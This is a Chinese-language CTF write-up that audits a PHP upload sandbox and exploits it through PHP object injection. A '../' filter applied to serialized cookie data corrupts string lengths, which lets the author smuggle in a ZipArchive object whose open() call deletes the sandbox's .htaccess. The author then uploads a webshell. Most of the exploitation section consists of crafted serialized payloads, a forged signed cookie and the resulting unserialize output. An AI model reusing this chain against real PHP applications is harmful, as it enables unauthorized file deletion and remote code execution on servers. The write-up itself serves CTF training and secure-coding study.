前言
從一道CTF來審計學習PHP對象注入,由功能的分析到漏洞的探測、分析和利用。
考點PHP對象注入、代碼審計、序列化
分析信息收集題目上來給了一個文件上傳的服務,沒有直接去測試,對網站進行敏感信息收集,發現存在robots.txt洩露
User-agent: *
Disallow: /index.txt
訪問index.txt獲取網站源碼
<?php
include('secret.php');
$sandbox_dir = 'sandbox/'.sha1($_SERVER['REMOTE_ADDR']);
global $sandbox_dir;
function myserialize($a, $secret) {
$b = str_replace("../","./", serialize($a));
return $b.hash_hmac('sha256', $b, $secret);
}
function myunserialize($a, $secret) {
if(substr($a, -64) === hash_hmac('sha256', substr($a, 0, -64), $secret)){
return unserialize(substr($a, 0, -64));
}
}
class UploadFile {
function upload($fakename, $content) {
global $sandbox_dir;
$info = pathinfo($fakename);
$ext = isset($info['extension']) ? ".".$info['extension'] : '.txt';
file_put_contents($sandbox_dir.'/'.sha1($content).$ext, $content);
$this->fakename = $fakename;
$this->realname = sha1($content).$ext;
}
function open($fakename, $realname) {
global $sandbox_dir;
$analysis = "$fakename is in folder $sandbox_dir/$realname.";
return $analysis;
}
}
if(!is_dir($sandbox_dir)) {
mkdir($sandbox_dir,0777,true);
}
if(!is_file($sandbox_dir.'/.htaccess')) {
file_put_contents($sandbox_dir.'/.htaccess', "php_flag engine off");
}
if(!isset($_GET['action'])) {
$_GET['action'] = 'home';
}
if(!isset($_COOKIE['files'])) {
setcookie('files', myserialize([], $secret));
$_COOKIE['files'] = myserialize([], $secret);
}
switch($_GET['action']){
case 'home':
default:
$content = "<form method='post' action='index.php?action=upload' enctype='multipart/form-data'><input type='file' name='file'><input type='submit'/></form>";
$files = myunserialize($_COOKIE['files'], $secret);
if($files) {
$content .= "<ul>";
$i = 0;
foreach($files as $file) {
$content .= "<li><form method='POST' action='index.php?action=changename&i=".$i."'><input type='text' name='newname' value='".htmlspecialchars($file->fakename)."'><input type='submit' value='Click to edit name'></form><a href='index.php?action=open&i=".$i."' target='_blank'>Click to show locations</a></li>";
$i++;
}
$content .= "</ul>";
}
echo $content;
break;
case 'upload':
if($_SERVER['REQUEST_METHOD'] === "POST") {
if(isset($_FILES['file'])) {
$uploadfile = new UploadFile;
$uploadfile->upload($_FILES['file']['name'], file_get_contents($_FILES['file']['tmp_name']));
$files = myunserialize($_COOKIE['files'], $secret);
$files[] = $uploadfile;
setcookie('files', myserialize($files, $secret));
header("Location: index.php?action=home");
exit;
}
}
break;
case 'changename':
if($_SERVER['REQUEST_METHOD'] === "POST") {
$files = myunserialize($_COOKIE['files'], $secret);
if(isset($files[$_GET['i']]) && isset($_POST['newname'])){
$files[$_GET['i']]->fakename = $_POST['newname'];
}
setcookie('files', myserialize($files, $secret));
}
header("Location: index.php?action=home");
exit;
case 'open':
$files = myunserialize($_COOKIE['files'], $secret);
if(isset($files[$_GET['i']])){
echo $files[$_GET['i']]->open($files[$_GET['i']]->fakename, $files[$_GET['i']]->realname);
}
exit;
case 'reset':
setcookie('files', myserialize([], $secret));
$_COOKIE['files'] = myserialize([], $secret);
array_map('unlink', glob("$sandbox_dir/*"));
header("Location: index.php?action=home");
exit;
}
查看源碼,發現該題目基本類似於Insomnihack Teaser 2018
代碼審計功能分析該題是一個沙盒文件管理器,允許用戶上傳文件,同時還允許查看文件的元數據。
文件上傳通過cookie來保存上傳的文件信息。$_COOKIE['files']的值是個反序列化的數組,數組的每個元素是一個UploadFile對象,保存了一個fakename(上傳文件的原始名字,可以修改)和一個realname(內容hash值)。
用戶可以進行下面五類操作:
case 'home':
default:
$content = "<form method='post' action='index.php?action=upload' enctype='multipart/form-data'><input type='file' name='file'><input type='submit'/></form>";
$files = myunserialize($_COOKIE['files'], $secret);
if($files) {
$content .= "<ul>";
$i = 0;
foreach($files as $file) {
$content .= "<li><form method='POST' action='index.php?action=changename&i=".$i."'><input type='text' name='newname' value='".htmlspecialchars($file->fakename)."'><input type='submit' value='Click to edit name'></form><a href='index.php?action=open&i=".$i."' target='_blank'>Click to show locations</a></li>";
$i++;
}
$content .= "</ul>";
}
echo $content;
break;
默認顯示上傳界面,隨後反序列化Cookie存儲files數組的UploadFile對象,遍歷顯示上傳的文件。
case 'upload':
if($_SERVER['REQUEST_METHOD'] === "POST") {
if(isset($_FILES['file'])) {
$uploadfile = new UploadFile;
$uploadfile->upload($_FILES['file']['name'], file_get_contents($_FILES['file']['tmp_name']));
$files = myunserialize($_COOKIE['files'], $secret);
$files[] = $uploadfile;
setcookie('files', myserialize($files, $secret));
header("Location: index.php?action=home");
exit;
}
}
break;
創建UploadFile對象,調用upload方法,傳入文件名、文件內容在伺服器上進行存儲,然後反序列化cookie的files對新創建的文件uploadfile對象進行追加存儲,之後重新設置cookie重新序列化files。
class UploadFile {
function upload($fakename, $content) {
global $sandbox_dir;
$info = pathinfo($fakename);
$ext = isset($info['extension']) ? ".".$info['extension'] : '.txt';
file_put_contents($sandbox_dir.'/'.sha1($content).$ext, $content);
$this->fakename = $fakename;
$this->realname = sha1($content).$ext;
}
function open($fakename, $realname) {
global $sandbox_dir;
$analysis = "$fakename is in folder $sandbox_dir/$realname.";
return $analysis;
}
}
case 'changename':
if($_SERVER['REQUEST_METHOD'] === "POST") {
$files = myunserialize($_COOKIE['files'], $secret);
if(isset($files[$_GET['i']]) && isset($_POST['newname'])){
$files[$_GET['i']]->fakename = $_POST['newname'];
}
setcookie('files', myserialize($files, $secret));
}
header("Location: index.php?action=home");
exit;
根據i值索引文件對象UploadFile,然後更改fakename的值,之後重新設置cookie重新序列化files。
case 'open':
$files = myunserialize($_COOKIE['files'], $secret);
if(isset($files[$_GET['i']])){
echo $files[$_GET['i']]->open($files[$_GET['i']]->fakename, $files[$_GET['i']]->realname);
}
exit;
通過i值索引文件對象UploadFile,然後調用對象的open方法輸出指定文件的元數據:fakename和realname信息。
case 'reset':
setcookie('files', myserialize([], $secret));
$_COOKIE['files'] = myserialize([], $secret);
array_map('unlink', glob("$sandbox_dir/*"));
header("Location: index.php?action=home");
exit;
通過空數組設置新的cookie,然後刪除$sandbox_dir/下的文件。
對於用戶的操作,其中的每一個操作,都是在沙盒環境中執行的。這裡的沙盒,是程序生成的用戶專屬文件夾,其生成代碼如下:
$sandbox_dir = 'sandbox/'.sha1($_SERVER['REMOTE_ADDR']);
該沙盒還可以防止PHP執行,以生成的.htaccess文件為例,我們可以看到其中的php_flag engine off指令:
if(!is_dir($sandbox_dir)) {
mkdir($sandbox_dir,0777,true);
}
if(!is_file($sandbox_dir.'/.htaccess')) {
file_put_contents($sandbox_dir.'/.htaccess', "php_flag engine off");
}
針對UploadFile類,在上傳新文件時,將使用以下屬性來創建UploadFile:
fakename:用戶上傳文件的原始文件名;
realname:自動生成的文件名,用於在磁碟上存儲文件。
通過Open操作查看文件時,fakename用於文件名的顯示,而在文件系統中所保存的文件,實際上其文件名為realname中的名稱。
然後,會將UploadFile對象添加到數組,通過自定義的myserialize()函數對其進行序列化,並通過文件Cookie返回給用戶。當用戶想要查看文件時,Web應用程式會獲取用戶的Cookie,通過myunserialized()函數對UploadFile對象的數組反序列化,隨後對其進行相應的處理。
下面是UploadFile對象的示例:
a:2:{i:0;O:10:"UploadFile":2:{s:8:"fakename";s:9:"pictu.jpg";s:8:"realname";s:44:"3c4578834eed3f05bd8b099e7fc2c633af6c5fdc.jpg";}i:1;O:10:"UploadFile":2:{s:8:"fakename";s:7:"qwe.jpg";s:8:"realname";s:44:"75a9c6a2fcb5d7c6809ec7c1a5859a7f83637159.jpg";}}f96f37cca80ecae3c5f2f30be497c27024a23a24093e9e7a26c9721be025fb7b
以下是用於生成上述序列化對象的相關代碼:
function myserialize($a, $secret) {
$b = str_replace("../","./", serialize($a));
return $b.hash_hmac('sha256', $b, $secret);
}
function myunserialize($a, $secret) {
if(substr($a, -64) === hash_hmac('sha256', substr($a, 0, -64), $secret)){
return unserialize(substr($a, 0, -64));
}
}
class UploadFile {
function upload($fakename, $content) {
global $sandbox_dir;
$info = pathinfo($fakename);
$ext = isset($info['extension']) ? ".".$info['extension'] : '.txt';
file_put_contents($sandbox_dir.'/'.sha1($content).$ext, $content);
$this->fakename = $fakename;
$this->realname = sha1($content).$ext;
}
function open($fakename, $realname) {
global $sandbox_dir;
$analysis = "$fakename is in folder $sandbox_dir/$realname.";
return $analysis;
}
}
switch($_GET['action']){
case 'open':
$files = myunserialize($_COOKIE['files'], $secret);
if(isset($files[$_GET['i']])){
echo $files[$_GET['i']]->open($files[$_GET['i']]->fakename, $files[$_GET['i']]->realname);
}
exit;
}
因為每次建立sandbox的時候,都會在目錄加上一個.htaccess文件來限制php的執行,因此我們無法直接上傳shell。同時由於在序列化和反序列化的時候做了籤名,我們也不能直接通過修改cookie的方式來改變對象。
由於原始碼中沒有wakeup()或destruct()這樣的magic函數,因此我們不能使用常用的一些反序列化攻擊方法。
破壞序列化對象隨著繼續的審計和探索,發現應用程式中的漏洞:
function myserialize($a, $secret) {
$b = str_replace("../","./", serialize($a));
return $b.hash_hmac('sha256', $b, $secret);
}
function myunserialize($a, $secret) {
if(substr($a, -64) === hash_hmac('sha256', substr($a, 0, -64), $secret)){
return unserialize(substr($a, 0, -64));
}
}
代碼的作者添加了一個str_replace()調用,用來過濾掉../序列。這就存在一個問題,str_replace調用是在一個序列化的對象上執行的,而不是一個字符串。
比如有這麼一個序列化後的字符串
php > $array = array();
php > $array[] = "../";
php > $array[] = "hello";
php > echo serialize($array);
a:2:{i:0;s:3:"../";i:1;s:5:"hello";}
在myserialize函數(../過濾器)處理後就變成了
php > echo str_replace("../","./", serialize($array));
a:2:{i:0;s:3:"./";i:1;s:5:"hello";}
通過過濾,確實已經將「../」改為了「./」,然而,序列化字符串的大小並沒有改變。s:3:」./「;顯示的字符串大小為3,然而實際上它的大小是2!!
當這個損壞的對象被unserialize()處理時,PHP會將序列化對象(「)中的下一個字符視為其值的一部分,而從這之後,反序列化就會出錯:
a:2:{i:0;s:3:"./";i:1;s:5:"hello";}
^ --- <== The value parsed by unserialize() is ./"
既然這樣,那麼如果合理控制../的數量,是不是就可以引入一個非法的對象呢
php > $array = array();
php > $array[] = "../../../../../../../../../../../../../";
php > $array[] = 'A";i:1;s:8:"Injected';
php > echo serialize($array);
a:2:{i:0;s:39:"../../../../../../../../../../../../../";i:1;s:20:"A";i:1;s:8:"Injected";}
對於這個序列化的字符串,處理以後為:
php > $x = str_replace("../", "./", serialize($array));
php > echo $x;
a:2:{i:0;s:39:"./././././././././././././";i:1;s:20:"A";i:1;s:8:"Injected";}
---- ---
php > print_r(unserialize($x));
Array
(
[0] => ./././././././././././././";i:1;s:20:"A
[1] => Injected
)
這個時候,s:39對應的字符串變成了./././././././././././././";i:1;s:20:"A,這樣就把本來不應該有的Injected引入了進來。在這個例子中,使用的字符串是「i:1;s:8:」Injected」,但同樣,任何基元/對象都可以在這裡使用。
繼續回到題目本身,情況與之幾乎相同。我們需要的就是一個數組,該題中正是UploadFile對象數組,在這個數組中我們可以破壞第一個對象,從而控制第二個對象。
我們可以通過上傳兩個文件來實現漏洞的利用。就像上面的例子一樣,我們具體操作如下:
請注意,由於我們現在使用的是Web應用程式的正常功能來執行上述操作,所以就不用再考慮籤名的問題,這些操作一定是合法的。
由於myserialize的問題,如果我們有一個可控點,就可以嘗試引入非法的對象。這個可控點就是changename,changename會修改fakename的值同時重新序列化對象
使用任意數據偽造序列化對象通過上面的探索,現在,就可以使用任意數據,來偽造我們自己的序列化對象。在這一步驟中,我們需要解決的是一個經典的對象注入問題,但在這裡,並沒有太多技巧或者捷徑可以供我們使用。
到目前為止,我們幾乎已經用到了應用中所有的功能,但還有一個沒有用過,那就是Open。以下是Open的相關代碼:
function open($fakename, $realname) {
global $sandbox_dir;
$analysis = "$fakename is in folder $sandbox_dir/$realname.";
return $analysis;
}
case 'open':
$files = myunserialize($_COOKIE['files'], $secret);
if(isset($files[$_GET['i']])){
echo $files[$_GET['i']]->open($files[$_GET['i']]->fakename, $files[$_GET['i']]->realname);
}
exit;
Open操作通過i索引會從$files數組中獲取一個對象,並使用$object->fakename和$object->realname這兩個參數來調用open()函數。
通過上面知道,可以在$files數組中注入任何對象(就像之前注入的「Injected」字符串一樣)。但如果我們注入的不是UploadFile對象,會發生什麼?
其實可以看到,open()這一方法名是非常常見的。如果我們能夠在PHP中找到一個帶有open()方法的標準類,那麼就可以欺騙Web應用去調用這個類的open()方法,而不再調用UploadFile中的方法。
簡單來看可以理解為下面的實例過程
<?php
$array = new array();
$array[] = new UploadFile();
$array[0]->open($array[0]->fakename, $array[0]->realname);
可以通過欺騙Web應用程式,來實現這一點,從而實現類的欺騙,調用其它類的相同方法:
<?php
$array = new array();
$array[] = new SomeOtherFile();
$array[0]->open($array[0]->fakename, $array[0]->realname);
既然可以這樣操作那麼下來就是要尋找有那些類包含open()方法,從而實現後續的利用
通過原WP,編寫代碼列出所有包含open()方法的類:
$ cat list.php
<?php
foreach (get_declared_classes() as $class) {
foreach (get_class_methods($class) as $method) {
if ($method == "open")
echo "$class->$methodn";
}
}
?>
列舉結果:
$ php list.php
SQLite3->open
SessionHandler->open
XMLReader->open
ZipArchive->open
經過尋找,共發現有4個類帶有open()方法。如果在$files數組中,注入這些類中任意一個的序列化對象,我們就可以通過帶有特定參數的open動作,來調用這些類中的方法。
其中的大部分類都能夠對文件進行操作。回到之前,我們知道.htaccess會在沙盒中阻止我們執行PHP。所以,假如能通過某種方式刪掉.htaccess文件,那麼就成功了。
通過對上面的4個類進行測試,發現,ZipArchive->open方法可以刪除目標文件,前提是我們需要將其第二個參數設定為「9」。
ZipArchive::open的第一個參數是文件名,第二個參數是flags,而9對應的是ZipArchive::CREATE | ZipArchive::OVERWRITE。ZipArchive::OVERWRITE的意思是重寫覆蓋文件,這個操作會刪除原來的文件。
因為UploadFile類的open函數的參數是fakename和realname,fakename對應.htaccess,realname對應flags,這裡直接使用ZipArchive::OVERWRITE的integer值9,這樣我們就可以使用ZipArchive->open()來刪除.htaccess文件。
分析編寫payload先序列化一個ZipArchive類的對象:
<?php
$zip = new ZipArchive();
$zip->fakename = "sandbox/ded5a68df70145b3a0bbe9c4290a729d37071e54/.htaccess";
$zip->realname = "9";
echo serialize($zip);
O:10:"ZipArchive":7:{s:8:"fakename";s:58:"sandbox/ded5a68df70145b3a0bbe9c4290a729d37071e54/.htaccess";s:8:"realname";s:1:"9";s:6:"status";i:0;s:9:"statusSys";i:0;s:8:"numFiles";i:0;s:8:"filename";s:0:"";s:7:"comment";s:0:"";}
然後隨便上傳兩個文件,查看cookie得到序列化的值
a:2:{i:0;O:10:"UploadFile":2:{s:8:"fakename";s:9:"pictu.jpg";s:8:"realname";s:44:"3c4578834eed3f05bd8b099e7fc2c633af6c5fdc.jpg";}i:1;O:10:"UploadFile":2:{s:8:"fakename";s:7:"qwe.jpg";s:8:"realname";s:44:"75a9c6a2fcb5d7c6809ec7c1a5859a7f83637159.jpg";}}f96f37cca80ecae3c5f2f30be497c27024a23a24093e9e7a26c9721be025fb7b
根據前面的探索利用,將第二個文件的fakename改成需要構造的ZipArchive的序列化值,如果想單獨溢出注入ZipArchive對象,就需要將第二個文件對象中fakename值的前後部分都需要被溢出才行:
";s:8:"realname";s:44:"75a9c6a2fcb5d7c6809ec7c1a5859a7f83637159.jpg
67個無用字符,所以ZipArchive序列化對象中的comment的長度為67,部分構造如下:
i:1;O:10:"ZipArchive":7:{s:8:"fakename";s:58:"sandbox/ded5a68df70145b3a0bbe9c4290a729d37071e54/.htaccess";s:8:"realname";s:1:"9";s:6:"status";i:0;s:9:"statusSys";i:0;s:8:"numFiles";i:0;s:8:"filename";s:0:"";s:7:"comment";s:67:"
因為第一個文件對象中的fakename需要溢出到第二個文件的fakename值的位置,所以第二個文件對象的fakename值還需要加一部分:
";s:8:"realname";s:1:"A";}
PS:此處的realname內容是什麼無所謂,主要是為了序列化的完整性
第二個文件對象最終的fakename值如下:
";s:8:"realname";s:1:"A";}i:1;O:10:"ZipArchive":7:{s:8:"fakename";s:58:"sandbox/ded5a68df70145b3a0bbe9c4290a729d37071e54/.htaccess";s:8:"realname";s:1:"9";s:6:"status";i:0;s:9:"statusSys";i:0;s:8:"numFiles";i:0;s:8:"filename";s:0:"";s:7:"comment";s:67:"
處理完第二個文件對象的fakename就需要處理第一個文件對象的fakename:
同時,要想ZipArchive對象成功溢出,就需要從第一個文件對象fakename值溢出到第二個文件對象的fakename值,所以第一個fakename值需要溢出的部分為:
";s:8:"realname";s:44:"3c4578834eed3f05bd8b099e7fc2c633af6c5fdc.jpg";}i:1;O:10:"UploadFile":2:{s:8:"fakename";s:7:"
可是這樣是不正確的,正確部分的應該是:
";s:8:"realname";s:44:"3c4578834eed3f05bd8b099e7fc2c633af6c5fdc.jpg";}i:1;O:10:"UploadFile":2:{s:8:"fakename";s:253:"
因為我們必須先修改第二個對象的fakename值,然後才能依據重新反序列化的Cooke[files]修改第一個的fakename,而此時的第二個fakename長度已經改變,不再是7,所以這部分溢出的長度為117,因此第一個文件的fakename值就是117個../。
../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../
最終payload
依據上述的分析,先修改第二個文件對象的fakename然後再修改第一個文件對象的fakename(不能互換!!!)
第二個文件對象的fakename:
";s:8:"realname";s:1:"A";}i:1;O:10:"ZipArchive":7:{s:8:"fakename";s:58:"sandbox/ded5a68df70145b3a0bbe9c4290a729d37071e54/.htaccess";s:8:"realname";s:1:"9";s:6:"status";i:0;s:9:"statusSys";i:0;s:8:"numFiles";i:0;s:8:"filename";s:0:"";s:7:"comment";s:67:"
第一個文件對象的fakename:
../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../
修改偽造之後成功偽造引入非法對象的Cookie
a:2:{i:0;O:10:"UploadFile":2:{s:8:"fakename";s:351:"./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././";s:8:"realname";s:44:"3c4578834eed3f05bd8b099e7fc2c633af6c5fdc.jpg";}i:1;O:10:"UploadFile":2:{s:8:"fakename";s:253:"";s:8:"realname";s:1:"A";}i:1;O:10:"ZipArchive":7:{s:8:"fakename";s:58:"sandbox/ded5a68df70145b3a0bbe9c4290a729d37071e54/.htaccess";s:8:"realname";s:1:"9";s:6:"status";i:0;s:9:"statusSys";i:0;s:8:"numFiles";i:0;s:8:"filename";s:0:"";s:7:"comment";s:67:"";s:8:"realname";s:44:"75a9c6a2fcb5d7c6809ec7c1a5859a7f83637159.jpg";}}cc2ffa6941ffc8895e4c029f62046ab7963af6ec9e5061103d71a295834b388b
查看非法對象Cookie中files的文件對象數組
php > print_r(unserialize($X));
Array
(
[0] => __PHP_Incomplete_Class Object
(
[__PHP_Incomplete_Class_Name] => UploadFile
[fakename] => ./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././";s:8:"realname";s:44:"3c4578834eed3f05bd8b099e7fc2c633af6c5fdc.jpg";}i:1;O:10:"UploadFile":2:{s:8:"fakename";s:253:"
[realname] => A
)
[1] => ZipArchive Object
(
[status] => 0
[statusSys] => 0
[numFiles] => 0
[filename] =>
[comment] =>
[fakename] => sandbox/ded5a68df70145b3a0bbe9c4290a729d37071e54/.htaccess
[realname] => 9
)
)
最後訪問index.php?action=open&i=1,伺服器直接操作files數組中i=1索引的對象執行open()方法,即ZipArchive的open函數,刪除.htaccess文件。
之後,直接上傳webshell拿到伺服器權限
shell.php is in folder sandbox/ded5a68df70145b3a0bbe9c4290a729d37071e54/cf9c5d4cdaab48d9872f7029d1cd642431e58193.php
_____ end _____
作者:Qftmer,來源:先知社區
關注公眾號:HACK之道
如文章對你有幫助,請支持點下「贊」「在看」